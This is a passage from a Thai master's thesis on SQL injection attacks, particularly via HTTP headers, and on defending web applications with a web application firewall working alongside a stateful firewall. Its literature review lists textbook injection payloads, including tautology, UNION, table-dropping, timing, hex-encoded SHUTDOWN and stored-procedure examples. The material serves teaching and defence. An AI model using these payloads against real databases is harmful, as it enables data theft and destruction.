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บทคัดย่อ 
 
 สารนิพนธ์นี้น าเสนอรูปแบบของการเจาะระบบเว็บแอพพลิเคชั่นด้วยเทคนิค SQL 
Injection ตลอดจนวิธีการหลบหลีกการตรวจจับและป้องกัน โดยเฉพาะอย่างยิ่ง SQL Injection ผ่าน 
HTTP Header ซึ่งเป็นเทคนิคหนึ่งที่ผู้บุกรุกสามารถใช้เป็นวิธีในการหลบหลีกการตรวจจับและ
ป้องกันของระบบที่ใช้ป้องกัน โดยสารนิพนธ์นี้จะใช้ Web Application Firewall (WAF) ท างาน
ร่วมกับ Stateful Firewall  เพื่อแก้ไขปัญหาดังกล่าว 
 จากผลการศึกษาพบว่า กรณีที่หนึ่งหากมีเพียง Stateful Firewall จะไม่สามารถป้องกัน
ได้เลย ต่อมาเป็นกรณีที่สองมี Web Application Firewall (WAF) ป้องกัน ก็จะสามารถป้องกัน
ระบบได้ในระดับปานกลาง ทั้งนี้นั้นขึ้นอยู่กับ Signature ที่มีและการปรับตั้งค่าพารามิเตอร์ของ
ระบบนั้นๆ กรณีที่สามนั้นจะใช้ Stateful Firewall และ Web Application Firewall (WAF) ท างาน
ร่วมกันโดยเมื่อมีการพยายามบุกรุกอย่างต่อเนื่องและ Web Application Firewall (WAF) สามารถ
ตรวจพบก็จะสั่งงานให้ Stateful Firewall ท างานในการป้องกันความพยายามในการบุกรุกแทน ซึ่ง
ท าให้การป้องกันระบบนั้นมีประสิทธิภาพสูงกว่าในกรณีที่หนึ่งและกรณีที่สอง 
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ABSTRACT 
 

 This study will be demonstrating a web application penetration using SQL Injection 
technique along with how to avoid and pass through detection. Focusing on the SQL Injection 
through HTTP Header, one of the most effective methods can get through the security defense 
system. This study will also disclose the way to prevent this form of attack using a cooperation of 
Web Application Firewall and Stateful Firewall. 
 The result of this study shows that mere Stateful Firewall is lack of power against this 
form of attack and sole Web Application Firewall can only done a moderate job defending this 
particular attack depending on the parameter and the signature database. But the combination of 
the two types of firewall working together will form a concrete defense against this kind of 
penetration technique.  
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บทที่ 1 
บทนํา 

 
1.1 ท่ีมาและความสําคัญของปญหา 
 ในปจจุบันการพัฒนาระบบท่ีใหบริการจํานวนมากผานเว็บแอพพลิเคช่ัน ซ่ึงนักพัฒนา
ระบบยังขาดความรู ความเขาใจในการพัฒนาใหระบบใหมีความปลอดภัย ตามมาตรฐานการพัฒนา
ท่ีหนวยงาน บริษัท องคกรตางๆ ยอมรับ เชน มาตรฐาน OWASP เวอรช่ัน ค.ศ. 2013 
 ซ่ึงทาง OWASP ไดจัดอันดับ TOP 10 โดยภัยคุกคามที่เกิดผลกระทบสูงสุดในสวนของ 
เว็บแอพพลิเคช่ัน พบวาภัยคุกคามในสวนของ A1-Injection นั้นเปนภัยคุกคามระดับสูงสุดทุกรอบ
การเปล่ียนแปลงท่ีทาง OWASP ทําการเก็บสถิติตามรายละเอียดดังนี้ 

 

 

 
ภาพท่ี 1.1 ผลกระทบท่ีเกดิกับเว็บแอพพลิเคช่ัน เปรียบเทียบ ค.ศ. 2010 และ ค.ศ. 2013 
 
 จากภาพท่ี 1.1 จะสังเกตไดวาการพัฒนาเว็บแอพพลิเคช่ันจะมีการถูกโจมตีจาก 
ผูไมประสงคดี ในสวนการ Injection เปนจํานวนมาก เพราะผูพัฒนายังขาดความรูความเขาใจใน
การปองกันภัยคุกคามในลักษณะนี้ ในงานวิจัยนี้จึงนําเร่ืองของภัยคุกคามในสวนของการทํา 
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Injection มาเปนปญหาสําคัญ เพื่อท่ีจะใหผูพัฒนาเกิดความเขาใจ และนําเครื่องมือท่ีมีมาใช
ตรวจสอบชองโหวรวมถึงการปองกัน เพื่อลดภัยคุกคามท่ีจะเกิดข้ึนตอระบบใหบริการได 

 
1.2 ปญหานําวิจัย 
 ระบบเว็บแอพพลิเคช่ันท่ีใชงานสวนใหญมีชองโหวในสวนขอ SQL Injection และตอง
ดําเนินการตรวจสอบ ลดผลกระทบท่ีจะเกิดข้ึนกับระบบเว็บแอพพลิเคช่ัน เพื่อใหระบบท่ีใหบริการ
มีความปลอดภัยตามมาตรฐาน OWASP 2013 ในสวนของ A1 Injection 
   
1.3 วัตถุประสงค 
 ขอบเขตของงานวิจัยนี้ มุงเนนการศึกษาการเจาะระบบเว็บแอพพลิเคช่ันโดยอาศัย 
ชองโหวแบบ SQL Injection เพื่อมองหาขอผิดพลาดตางๆ ท่ีนาจะเปนจุดออนของระบบรักษา 
ความปลอดภัยท่ีแตกตางกันไปตามสภาพแวดลอมท่ีไมเหมือนกัน เพื่อใหเห็นวาระบบรักษา 
ความปลอดภัยท่ีจําเปนในปจจุบันนั้น ควรมีการออกแบบระบบท่ีตองประกอบไปดวยอุปกรณ
รักษาความปลอดภัยใดบาง ในการตรวจจับและปองกันการเจาะระบบแอพพลิเคช่ันดวยชองโหว
แบบ  SQL Injection เพื่อเปนแนวทางในการออกแบบดานการรักษาความปลอดภัยระบบ
คอมพิวเตอรเครือขาย 
 
1.4 ขอบเขตของการวิจัย 
 1. ศึกษาขอมูลเกีย่วกับภยัคุกคามในสวนของ SQL Injection ตามมาตรฐาน OWASP 
 2. ติดต้ังระบบจําลองในสวนของระบบเว็บแอพพลิเคช่ัน 
 3. ตรวจสอบหาชองโหว  
 4. ศึกษาขอมูลเกีย่วกับการลดภยัคุกคาม SQL Injection ตามมาตรฐาน OWASP 
 5. ออกแบบระบบเว็บเซิรฟเวอรเพื่อปองกันการโจมตีเว็บแอพพลิเคช่ัน ในสวนภัยคุกคาม 
SQL Injection ตามมาตรฐาน OWASP 
 6. สรุปผลการดําเนินงาน และทําขอแนะนําในการพัฒนาระบบเว็บเซิรฟเวอรเพื่อปองกันใน
สวนภัยคุกคาม SQL Injection  
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1.5 ประโยชนท่ีคาดวาจะไดรับ 
 1. มีความรูและเขาใจถึงรูปแบบภัยคุกคามในสวนของ SQL Injection  
 2. สามารถใชเคร่ืองมือในการตรวจสอบหาชองโหว SQL Injection  
 3. สามารถทราบถึงวิธีการใชงานของเคร่ืองมือท่ีนํามาใชในการตรวจสอบหาชองโหว  
 4. สามารถทราบถึงระบบการปองกันการโจมตีเว็บแอพพลิเคช่ัน 
 5. สามารถทราบถึงแนวทางการออกแบบและเลือกติดต้ังใชงานระบบรักษาความปลอดภัย 
ท่ีใหระบบเว็บแอพพลิเคช่ัน นั้นลดความเส่ียงของการถูกโจมตีในลักษณะ SQL Injection  

 
1.6 แผนการดาํเนนิงาน 
 
ตารางท่ี 1.1  ระยะเวลาในการดําเนินงาน 

 

กิจกรรม 
ป พ.ศ. 2559 

มี.ค. เม.ย. พ.ค. มิ.ย. ก.ค. ส.ค. ก.ย. ต.ค. พ.ย. ธ.ค. 

1)  ศึกษาขอมูลเกี่ยวกับภัยคุกคาม 

ในสวนของ SQL Injection  

ตามมาตรฐาน OWASP 

          

2)  ติดต้ังระบบจําลองในสวน 

ของระบบเว็บแอพพลิเคช่ัน 
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ตารางท่ี 1.1 (ตอ)  
 

กิจกรรม 

ป พ.ศ. 2559 

มี.ค. เม.ย. 
พ.ค

. 
มิ.ย. ก.ค. ส.ค. ก.ย. ต.ค. พ.ย. ธ.ค. 

 

3)  ตรวจสอบหาชองโหว 

 

          

4)  ศึกษาขอมูลเกี่ยวกับการลดภัย

คุกคาม SQL Injection ตาม 

มาตรฐาน OWASP 

          

 

5)  ออกแบบระบบเว็บเซิรฟเวอร

เพื่อปองกันการโจมตี 

เว็บแอพพลิเคช่ัน ในสวน 

ภัยคุกคาม SQL Injection  

ตามมาตรฐาน OWASP 

          

6)  สรุปผลการดําเนินงาน และทํา

ขอแนะนําในการพัฒนาระบบ

เว็บเซิรฟเวอรเพ่ือปองกันใน

สวนภัยคุกคาม SQL Injection 
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บทที่ 2   
แนวคิด ทฤษฎี และผลงานวิจัยที่เกี่ยวของ 

 
2.1  การออกแบบระบบรักษาความปลอดภยัของเครือขาย Micro Segmentation 
 งานวิจัยของ Brandon Peterson [1] ไดกลาวไววาโดยบอยคร้ังท่ีเราไมสามารถตรวจพบ
แฮกเกอรท่ีเขา-ออกภายในระบบเพื่อหาขอมูลท่ีมีคุณคาแกการขโมยได สิทธิในทรัพยสินทาง
ปญญาและขอมูลสวนบุคคลทุกคนน้ันมีความเส่ียง เปนท่ียอมรับโดยท่ัวกันวาการโจมตีของ 
แฮกเกอรนั้นท่ีสุดก็สามารถเจาะเครือขายมากท่ีสุด 
 การออกแบบระบบเครือขายความปลอดภัยท่ีมุงเนนในเร่ืองของ micro segmentation 
นั้นสามารถชะลออัตราของผูโจมตีท่ีผานเขามาในระบบเครือขายและทําใหมีโอกาสมากข้ึนในการ
ตรวจจับการเคล่ือนไหวของผูโจมตีได องคกรท่ีรับออกแบบระบบเครือขายความปลอดภัย 
จะมองเห็นวาการเพ่ิมคาใชจายในเรื่องของ micro segmentation นั้นสามารถชดเชยในสวนของการ
ลดจํานวนและความถ่ีของเหตุการณลงได ในความเปนจริงนั้น การเรียนรูในการแบงกลุมเครือขาย
นั้น (Segmentation) สามารถเพ่ิมมูลคาและเสริมสรางความแข็งแรงใหแกองคกรไดดี 
 การแบงสวนของระบบเครือขาย (Network segmentation) สามารถชะลอการโจมตีของ
ผูโจมตีในขณะท่ีเขากําลังเจาะเขาระบบเครือขาย แตวิธีนี้วิธีเดียวไมสามารถหยุดผูโจมตีได มีการ
เผยแพรถึงคาเฉล่ียในปจจุบันวา หลังจากผูโจมตีไดเขามาอยูในระบบเครือขายนานกวาเจ็ดเดือนถึง
เร่ิมไดรับการตรวจสอบ นอกจากนี้สวนใหญในการคนพบคร้ังแรกก็มาจากหนวยงานภายนอกท่ี
ตรวจเจอใหกับบริษัทท่ีไดรับผลกระทบ (Mandiant 2014 Threat Report) ความสามารถ Penetrator 
นั้นจะสามารถตรวจสอบวา ports และ service อะไรท่ีมีการเปดและทํางานอยู วิธีการของเขา 
จะตรวจหาจนกวาเขาจะคนพบสิ่งท่ีมีคา เชน ขอมูลประจําตัว ขอมูลสวนบุคคล ทรัพยสินทาง
ปญญา หรืออ่ืนๆ ดังนั้นเร่ืองนี้จึงเปนส่ิงสําคัญท่ีจะตองทําความเขาใจเร่ือง traffic บนระบบ
เครือขายและการตรวจสอบส่ิงท่ีตางไปจากมาตรฐาน 
 ส่ิงท่ีเกี่ยวของ เชน ports, protocols และ application ในการดําเนินธุรกิจจะตองไดรับ
การบันทึก ส่ิงนี้จะทําใหสามารถตรวจสอบคาความผิดปกติหรือการ Rouge ท่ีผิดปกติไดในภาพท่ี 
2.1 การลดลงของ VNC traffic สําหรับแผนกท่ีใชเขา เว็บไซต แชรไฟล หรืออีเมลก็ควรไดรับการ
ตรวจสอบดวยเชนกัน 

 



6 

 
 

ภาพท่ี 2.1  รูปแบบ Compromised Network Segment 
 

 การควบคุมเครือขายใหแนนหนา จะบีบใหแฮกเกอรนั้นใชชองทางท่ีมีท่ีสามารถใชได
สําหรับผูท่ีไมเคยผานตา traffic ก็จะเปนอีกชองทางท่ีสามารถจะเขามาได เปนท่ีรูกันดีวาผูโจมตี
ฉลาดๆ ะหาทางเขาหาจากชองทางปกติเพื่อสง payloads ของพวกเขาเขาไป DNS เปนตัวอยางท่ีดี
ในการใหบริการที่แพรหลาย ท่ีสามารถใชเปนชองทางในการแอบแฝง โดยใชการเขารหัสใน
รูปแบบเชน base32 เปนชองทางแอบแฝงสามารถใชในการสงขอมูลแบบ binary ผาน DNS ไดการ
เขารหัสขอมูลจะถูกสงไปในรูปแบบของ DNS query เซิรฟเวอรท่ีช่ือ The authoritative ซ่ึงถูก
ควบคุมโดยแฮกเกอรนั้น จะสงขอมูลท่ีถูกฝงกลับไปภายใน DNS text record ส่ิงนี้เทากับ 150 bytes 
ของขอมูลท่ีไมมีกฏเกณฑ และจํานวนรวมที่มีขนาดใหญมากพอท่ีจะฝงอยูใน text record การใช
เทคนิคนี้ นักวิจัยสามารถท่ีจะทําการถายโอนขอมูลความเร็วสูงสุดท่ี 150KB/S (Faldella & Tucci) 
ไดสําเร็จ ในทางปฏิบัติการทําความเขาใจวาสวนใหญไมจําเปนตองเรียก text records หรือ queries 
บน host name ซํ้านั้นสามารถชวยใหกําหนดคาช่ือเซิรฟเวอรไดอยางปลอดภัยหรือจับการรองขอ
ดังกลาวท่ีขัดขวางเครือขายไดสําเร็จ 
 ดวยนโยบายท่ีไดรับการยอมรับและความเขาใจของเทคโนโลยีพื้นฐาน ผูดูแลระบบ
รักษาความปลอดภัยเครือขายสามารถเร่ิมท่ีจะนําไปใชควบคุมการตรวจสอบและส่ิงท่ีแตกตางไป
จากปกติได 
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2.2  การจัดประเภทของ SQL การโจมตีและวิธีการรับมือ 
 งานวิจัยของ William G.J. Halfond, Jeremy Viegas และ Alessandro Orso [2] ไดกลาว
ไววา โดยปกติแลว การฝงการโจมตีในรูปแบบ SQL (SQLIA) จะเกิดข้ึนเม่ือมีผูโจมตีเปล่ียนแปลง
ผลของ SQL query โดยการใส SQL keyword ใหม คํานิยามนี้มีวัตถุประสงคเพื่อรวมสายพันธุ
ท้ังหมดของ SQLIAs และนําเสนอในสารนิพนธนี้ จะกําหนดสองลักษณะท่ีสําคัญของ SQLIAs  
ท่ีใชสําหรับการอธิบายการโจมตี: กลไกและความตั้งใจในการโจมตี 
 2.2.1  กลไกในการฝง 
 สามารถนําคําส่ัง SQL ท่ีเปนอันตรายลงในแอพลิเคชันท่ีมีความเส่ียงตอการใชกลไก
ปอนขอมูลท่ีแตกตาง ในสวนนี้ จะอธิบายกลไกท่ีพบมากท่ีสุด 
 Injection through user input: ในกรณีนี้ผูโจมตีจะฝง SQL โดยใชคําส่ังโดยการใหผูใช
ปอนขอมูลท่ีสรางข้ึนอยางเหมาะสม โดย Web Application สามารถอาน user ไดในหลายวิธีข้ึนอยู
กับสภาพแวดลอมใน Application ท่ีถูกนําไปใชใน SQLIAs สวนใหญจะกําหนดเปาหมายการใช
งานของ web application ผูใชมักจะมาจากการสงแบบฟอรมท่ีสงไปยังเว็บผานทาง HTTP GET 
หรือ Post requests 
 Injection through cookies: คุกกี้เปนไฟลท่ีมีขอมูลท่ีถูกสรางข้ึนเพื่อการใชงานเว็บและ
เก็บไวบนเคร่ือง client  เม่ือเคร่ือง client สงกลับไปยัง web application คุกกี้สามารถนํามาใชในการ
เรียกคืนขอมูลสถานะของเคร่ือง client แทจริงแลวเคร่ือง client มีการควบคุมการจัดเก็บขอมูลของ
คุกกี้ เคร่ือง client นั้นมีความอันตรายหากจะเขาไปยุงเกี่ยวกับเนื้อหาของคุกกี้ ถา web application 
ใชเนื้อหาของคุกกี้เพื่อสราง SQL queries ผูโจมตีจะสามารถสงการโจมตีโดยฝงไวกับคุกกี้ไดอยาง
งายดาย 
 Injection through server variables: Server variables คือการเก็บรวบรวมของส่ิง ท่ี
ประกอบไปดวย HTTP, network headers และตัวแปรดานส่ิงแวดลอม การใชงานเว็บเซิรฟเวอรใช
ตัวแปรเหลานี้ในหลายวิธีเชนสถิติการใชงานเขาสูระบบและการระบุแนวโนมการเรียกดู หาก 
ตัวแปรเหลานี้ถูกบันทึกไวในฐานขอมูลโดยไมผานการตรวจสอบ ส่ิงนี้จะสามารถสรางชองโหวใน
การฝง SQL ลงไปได  เพราะผูโจมตีสามารถปลอมคาท่ีจะอยูใน HTTP และ network headers ได 
พวกเขาสามารถใชประโยชนจากชองโหวนี้โดยการวาง SQLIA โดยตรงในสวนของ headers 
 Second-order injection: ในการฝงแบบ second-order ผูโจมตีมีปจจัยการผลิตท่ีเปน
อันตรายมากในระบบฐานขอมูลหรือทางออมเรียกวา SQLIA เพื่อปอนขอมูลท่ีใชในเวลาตอมา  
วัตถุประสงคของการโจมตีชนิดนี้แตกตางอยางมีนัยสําคัญจากปกติ (เชน firstorder) การฝงแบบ  
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second-order เพื่อท่ีจะไมพยายามกอใหเกิดการโจมตีท่ีจะเกิดขึ้นเม่ือมีการปอนขอมูลท่ีเปนอันตราย
ถึงฐานขอมูล ผูโจมตีจะอาศัยความรูเกี่ยวกับการปอนขอมูลท่ีจะนํามาใชและฝมือการโจมตีของ
พวกเขาเพ่ือท่ีจะเกิดข้ึนในระหวางการใชงานเพ่ือช้ีแจงเราจะนําเสนอตัวอยางคลาสสิกของการ
โจมตีฝงแบบ second-order (นํามาจาก ) ในตัวอยางผูใชท่ีลงทะเบียนในเว็บไซตโดยใช username 
ในการ seed วา "admin" -- " application ท่ีถูกตองในการปอนขอมูลกอนนําไปเก็บในฐานขอมูล 
และปองกันผลกระทบท่ีอาจเปนอันตราย เม่ือมาถึงจุดนี้ user สามารถปรับเปล่ียนรหัสผานของเขา
หรือเธอในการดําเนินงานท่ีมักจะเกี่ยวของกับการตรวจสอบวาผูใชรูรหัสผานปจจุบันและการ
เปล่ียนรหัสผานถาตรวจสอบเสร็จเรียบรอยแลว 
 การทําเชนนี้ web application อาจสราง SQL คําส่ังดังตอไปนี้: 
 
queryString="UPDATE users SET password=’" + newPassword + 
"’ WHERE userName=’" + userName + "’ AND password=’" + 

oldPassword + "’" 
 

 NewPassword และ oldPassword เปนรหัสผานใหมและเกาตามลําดับและ username 
ของผูใชเพื่อเขาสูระบบในขณะน้ี (นั่นคือ ''admin '-' ') ดังนั้น query ท่ีถูกสงไปยังฐานขอมูล (สมมติ
วา NewPassword และ oldPas คือ "newpwd" และ "oldpwd"): 
 
UPDATE users SET password=’newpwd’ 

WHERE userName= ’admin’--’ AND password=’oldpwd’ 
 

 เพราะ "--" คือ the SQL comment operator ทุกอยางหลังจากท่ีมันถูกมองขามโดย
ฐานขอมูล ดังนั้นผลของ query นี้คือฐานขอมูลเปล่ียนรหัสผานของผูดูแลระบบ ("admin") เพื่อระบุ
ผูโจมตีการฝงแบบ second-order อาจเปนเร่ืองยากโดยเฉพาะอยางยิ่งในการตรวจสอบและปองกัน
ไมใหเพราะจุดท่ีฝงจะแตกตางจากจุดท่ีมีการโจมตีจริงปรากฏตัว นักพัฒนาอาจหลบหนีการ
ตรวจสอบชนิด และกรองขาเขาท่ีมาจากผูใชและถือวามันมีความปลอดภัย  ตอมาเม่ือขอมูลท่ีใชใน
บริบทท่ีแตกตางกันหรือการสรางชนิดท่ีแตกตางกันของ query การปอนขอมูลท่ีถูกตองกอนหนานี้
อาจจะสงผลในการโจมตีแบบฝง 
 2.2.2  เจตนาของการโจมตี 
 การโจมตียังมีลักษณะตามเปาหมายหรือความตั้งใจของผูโจมตี ดังนั้นแตละประเภท
ของคํานิยามของการโจมตีท่ีเราใหไวใน section 4 รวมถึงรายการหนึ่งหรือมากกวาในเจตนาโจมตีท่ี
กําหนดไวใน section นี้ 
 Identifying injectable parameters: ผูโจมตีตองการที่จะตรวจสอบ web application เพื่อ
คนพบพารามิเตอรและ user-input ใชการปอนขอมูลท่ีเส่ียงตอ SQLIA 
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 Performing database finger-printing: ผูโจมตีตองการท่ีจะคนพบชนิดและรุนของ
ฐานขอมูลท่ี web application มีการใชงานบางชนิดของฐานขอมูลจะแตกตางกันไปเพื่อตอบสนอง
ตอคําส่ังท่ีแตกตางกันและการโจมตีของขอมูลเหลานี้สามารถใช "ลายน้ิวมือ" ในฐานขอมูล เพื่อรู
ชนิดและรุนของฐานขอมูลท่ีใชโดย web application ชวยใหผูโจมตี โจมตีเฉพาะ craft database 
 Determining database schema: เพ่ือดึงขอมูลไดอยางถูกตองจากฐานขอมูล ผูโจมตี
มักจะตองทราบขอมูล database schema เชน ช่ือตาราง ช่ือคอลัมนและขอมูลคอลัมน การโจมตีดวย
ความต้ังใจนี้ถูกสรางข้ึนเพื่อเก็บรวบรวมหรือเพ่ือสรุปขอมูลชนิดนี้ 
 Extracting data: การโจมตีประเภทนี้ใชเทคนิคท่ีจะแยกคาขอมูลจากฐานขอมูลท้ังนี้
ข้ึนอยูกับประเภทของ web application ส่ิงนี้อาจจะมีความสําคัญและเปนท่ีนาพอใจอยางมาก
สําหรับผูโจมตีการโจมตีดวยความต้ังใจนี้เปนชนิดท่ีพบบอยท่ีสุดของ SQLIA 
 Adding or modifying data: เปาหมายของการโจมตีเหลานี้คือการเพ่ิมหรือเปล่ียนแปลง
ขอมูลในฐานขอมูล 
 Performing denial of service: การโจมตีเหลานี้จะดําเนินการปดฐานขอมูลของ web 
application เพ่ือปฏิเสธการใหบริการกับผูใชงานอ่ืนๆ การโจมตีท่ีเกี่ยวของกับการล็อคหรือการ 
วางฐานขอมูลตกอยูภายใตหมวดหมูนี้ 
 Evading detection: ประเภทนี้จะหมายถึงเทคนิคการโจมตีบางอยางท่ีมีการจางงานเพื่อ
หลีกเล่ียงการตรวจสอบและการตรวจพบโดยกลไกการปองกันระบบ 
 Bypassing authentication: เปาหมายของการโจมตีประเภทนี้คือการอนุญาตใหผูบุกรุก
ท่ีหลีกเล่ียงกลไลการตรวจสอบ database และ application ผานกลไกดังกลาวอาจทําใหผูบุกรุกถือ
วาสิทธิและสิทธิพิเศษท่ีเกี่ยวของกับผูใชโปรแกรมอ่ืน 
 Executing remote commands: การโจมตีประเภทนี้พยายามท่ีจะรันคําส่ังโดยพลการใน 
database คําส่ังเหลานี้จะถูกเก็บไวเปนอีกวิธีการหรือฟงกช่ันที่มีใหกับผูใชฐานขอมูล 
 Performing privilege escalation: การโจมตีเหลานี้ใชประโยชนจากขอผิดพลาดในการ
ดําเนินการหรือขอบกพรองในฐานขอมูลเพื่อเพิ่มสิทธิของผูบุกรุก เม่ือเทียบกับการโจมตีผานการ
ตรวจสอบ การโจมตีเหลานี้มุงเนนไปที่การใชประโยชนจากสิทธ์ิของผูใชฐานขอมูล 

 
 
 
 



10 

2.3  วิธี ท่ีงายและรวดเร็วสําหรับการตรวจจับและการปองกันของ  SQL Injection Attacks 
(SQLIAs) 
 งานวิจัยของ Z. Lashkaripour1 และ A. Ghaemi Bafghi1[3] ไดกลาวไววา SQLIAs มี
ชนิดท่ีแตกตางกัน ท่ีจะกําหนดใหข้ึนอยูกับและยังใหตัวอยางสําหรับแตละแบบในสวนนี้  
ในทุกตัวอยางในสวนนี้ไดใช query กับสามปจจัยการผลิตซ่ึงจะไดรับดังนี้: 
 
Query = "SELECT * FROM Accounts WHERE user=' " + username + " ' AND 
pass=' " + password + " ' AND eid=" + id ; 

 

 2.3.1  Tautology  
 การพูดซํ้าซากผูโจมตีจะพยายามท่ีจะใชขอมูลในคําส่ัง WHERE เพื่อฝงและเปดสภาพ
ลงสู “การพูดซํ้าซาก” ท่ีเปนจริงเสมอ รูปแบบท่ีงายของการพูดซํ้าซากจะไดรับในตัวอยางดานลาง 
ตัวอยาง: ผูโจมตีไดใส "or 1 = 1 -" ลงในชองผูใชและไมมีอะไรสําหรับ fields อ่ืนๆ ผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' ' or 1=1-- ' AND pass=' ' AND 
eid= 

 

 ผลท่ีไดจะเปนขอมูลท้ังหมดในตารางบัญชีเพราะเง่ือนไขของคําส่ัง WHERE เปนจริง
เสมอ 
 2.3.2  Illegal/Logically Incorrect 
 ในลักษณะของการโจมตีนี้ ผูโจมตีจะรวบรวมขอมูลสําคัญบางอยางเกี่ยวกับชนิดและ
โครงสรางของฐานขอมูล ขอมูลนี้เปนขอมูลท่ีไดรับจากหนาขอ error ท่ีไดกลับมาจาก default 
servers และสามารถนํามาใชสําหรับการโจมตีตอไป  
 ตัวอยาง: ผูโจมตีใส "convert (int (SELECT TOP 1 name FROM sysobjects WHERE 
xtype = 'U'))" เขาไปใน fields หลักและไมมีอะไรสําหรับ fields อ่ืนๆ ผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' ' AND pass=' ' AND 
eid=convert(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='u')) 

 

 ในตัวอยางนี้ผูโจมตีไดพยายามท่ีจะแปลงช่ือของตารางแรกท่ีผูใชกําหนดไวใน
ตารางขอมูลของฐานขอมูล 'int' ท่ีรูวาแปลงชนิดนี้ไมไดตามกฎหมายดังนั้นผลที่ไดคือ มี error 
แสดงใหเห็นขอมูลบางอยางท่ีไมควรจะแสดงใหเห็น 
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 2.3.3  Union 
 เทาท่ีจะสามารถสรุปจากช่ือ ผลของการโจมตีคือขอมูลบางสวนจากฐานขอมูลซ่ึงเปน 
Union ของ query หลักและถูกฝงรวมกัน ดังนั้นในประเภทของการโจมตีนี้ขอมูลจะกลับมาจาก 
query ท่ีมีการเปล่ียนแปลงแลว 
 ตัวอยาง: ผูโจมตีใส " UNION SELECT * FROM Students --” ลงในชองผูใชและไมมี
อะไรสําหรับ fields อื่นๆ เพื่อผลท่ีไดคือดังนี้: 
 
SELECT * FROM Accounts WHERE user=' ' UNION SELECT * FROM Students --
' AND pass=' ' AND eid= 

 

 ผลของ query แรกในตัวอยางขางตนถือเปนโมฆะและคนท่ีสองไดสงกลับขอมูล
ท้ังหมดใน Students table เพื่อให Union ของท้ังสองคําส่ังเปน Students table 
 2.3.4  Piggy Backed  
 Piggy Backed ผูโจมตีมีความพยายามท่ีจะฝงแบบสอบถามพิเศษเพื่อใหแบบสอบถาม
หลักท่ีถูกฝงแลวจะไดทําการดําเนินการตอ 
 ตัวอยาง: ผูโจมตีใส “'; drop table Accounts --” ลงในชองผูใชและไมมีอะไรสําหรับ
สอง fields ท่ีเหลือเพ่ือใหผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user=' '; drop table Accounts -- ' AND 
pass=' ' AND eid= 

  

 ผลจากตัวอยางขางตนคือการสูญเสียขอมูลประจําตัวของตารางบัญชีเพราะมันจะลดลง 
 2.3.5  Blind Injection  
 โดยสรุปจากชื่อ Blind Injection ผูโจมตีนั้นมองไมเห็น ดังนั้นจึงพยายามท่ีจะโจมตี 
web application โดยถามคําถามหาความจริง  หรือ  เท็จ  จึงข้ึนอยูกับการตอบกลับของ  web 
application ท่ีจะไดรับขอมูลเกี่ยวกับฐานขอมูลแมวาขอความจะไมมีขอผิดพลาดแสดงใหเห็นก็ตาม 
 ตัวอยาง: ผูโจมตีใส “user1' AND 1=1 --” ลงในชองผูใชและไมมีอะไรสําหรับสวน 
ท่ีเหลือของพวกเขาเพ่ือผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1' AND 1=1-- ' AND pass=' 
'AND eid= 

 

 สวนท่ีถูกฝงคือการประเมินผลเสมอ  ท่ีจะเปนจริงดังนั้นหากไมมีขอความ error ผูโจมตี
ท่ีจะเขาสูระบบเพื่อโจมตีตองตระหนักวาการโจมตีไดผาน user parameter ไหมจึงจะมีความเส่ียงท่ี
จะฝงได 
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 2.3.6  Timing Attacks 
 ระยะเวลาในการโจมตี  ผูบุกรุกจะไดรับขอมูลข้ึนอยูกับความลาชาของการตอบสนอง
ของฐานขอมูล 
 ตั วอย า ง :  ผู โ จม ตี ใส  “user1' AND ASCII(SUBSTRING((SELECT TOP 1 name 
FROM sysobjects),1,1)) > X WAITFOR DELAY '000:00:07' --” ลงในชองผูใชและไมมีอะไร
สําหรับ field อ่ืนๆ ดังนั้นผลที่ไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1' AND ASCII(SUBSTRING((SELECT 
TOP 1 name FROM sysobjects),1,1)) > X WAITFOR DELAY '000:00:07' -- ' 
AND pass=' ' AND eid= 

 

 ในตัวอยางขางตนผูโจมตีจะพยายามท่ีจะหาตัวอักษรตัวแรกของตารางเปนอันดับแรก
โดยการเปรียบเทียบคา ASCII กับ X หากมีความลาชา 7 วินาที เขาจะตระหนักดีวาคําตอบท่ีใหกับ
คําถามของเขาคือใช  ดังนั้นเพื่อความตอเนื่อง กระบวนการ process ช่ือ ของตารางแรกจะไดรับการ
คนพบเปนอันดับแรก (คลายกับการโจมตี ผูโจมตีจะสามารถขอรับขอมูลอ่ืนๆ เกี่ยวกับฐานขอมูล
ได) 
 2.3.7 Alternate Encoding 
 ในประเภทน้ีขอความท่ีถูกฝงจะมีการเปล่ียนแปลงในคําส่ังท่ีจะหลบเล่ียงการ
ตรวจสอบโดยการเขียนโปรแกรมการปองกันและสวนใหญของเทคนิคการปองกันโดยอัตโนมัติ 
การเขารหัสเชนเลขฐานสิบหก ASCII และการเขารหัสอักขระ Unicode สามารถใชเปนเง่ือนไขใน
การโจมตี 
 ตัวอยาง: ผูโจมตีใส “user1'; exec(char(0x73687574646f776e)) --” ลงในชองผูใชและ
ไมมีอะไรสําหรับสวนท่ีเหลือเพ่ือใหผลท่ีไดคือ: 
 
SELECT * FROM Accounts WHERE user='user1'; 
exec(char(0x73687574646f776e)) -- ' AND pass=' ' AND eid= 

 

 ในตัวอยางขางตน () ฟงกช่ันและการเขารหัสเลขฐานสิบหก ASCII จะใชฟงกช่ันท่ี
ไดรับเลขจํานวนเต็มเปนพารามิเตอรและสงกลับมาเปนตัวอยางของ character วาในตัวอยางนี้
ฟงกช่ันจะกลับมา "SHUTDOWN" ดังนั้นเม่ือแบบสอบถามตีความ คําส่ัง SHUTDOWN จะถูก
ดําเนินการ 
 2.3.8  Stored Procedure 

 ประเภทของ SQLI นี้มีวิธีดําเนินการ วิธีการจัดเก็บท่ีมีอยูในฐานขอมูลตนแบบ 
ฐานขอมูลจํานวนมากไดถูกสรางข้ึนในข้ันตอนการเก็บนอกเหนือจากการท่ีผูใชกําหนดวิธีการ
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จัดเก็บเอง ท่ีจะสรางข้ึนในข้ันตอนการเก็บจะใชสําหรับการขยายการทํางานของฐานขอมูลและการ
โตตอบกับระบบปฏิบัติการ ดังนั้นเม่ือผูโจมตีมีการระบุฐานขอมูลตนแบบท่ีเขาพยายามที่จะ
ดําเนินการเหลานี้ ถูกสรางข้ึนในข้ันตอนการจัดเก็บไวเพื่อใชประโยชนจากขอมูล 
 ตัวอยาง: ผูโจมตีใส “'; exec xp_logininfo 'BUILTIN\Administrators'; --” ลงในชอง
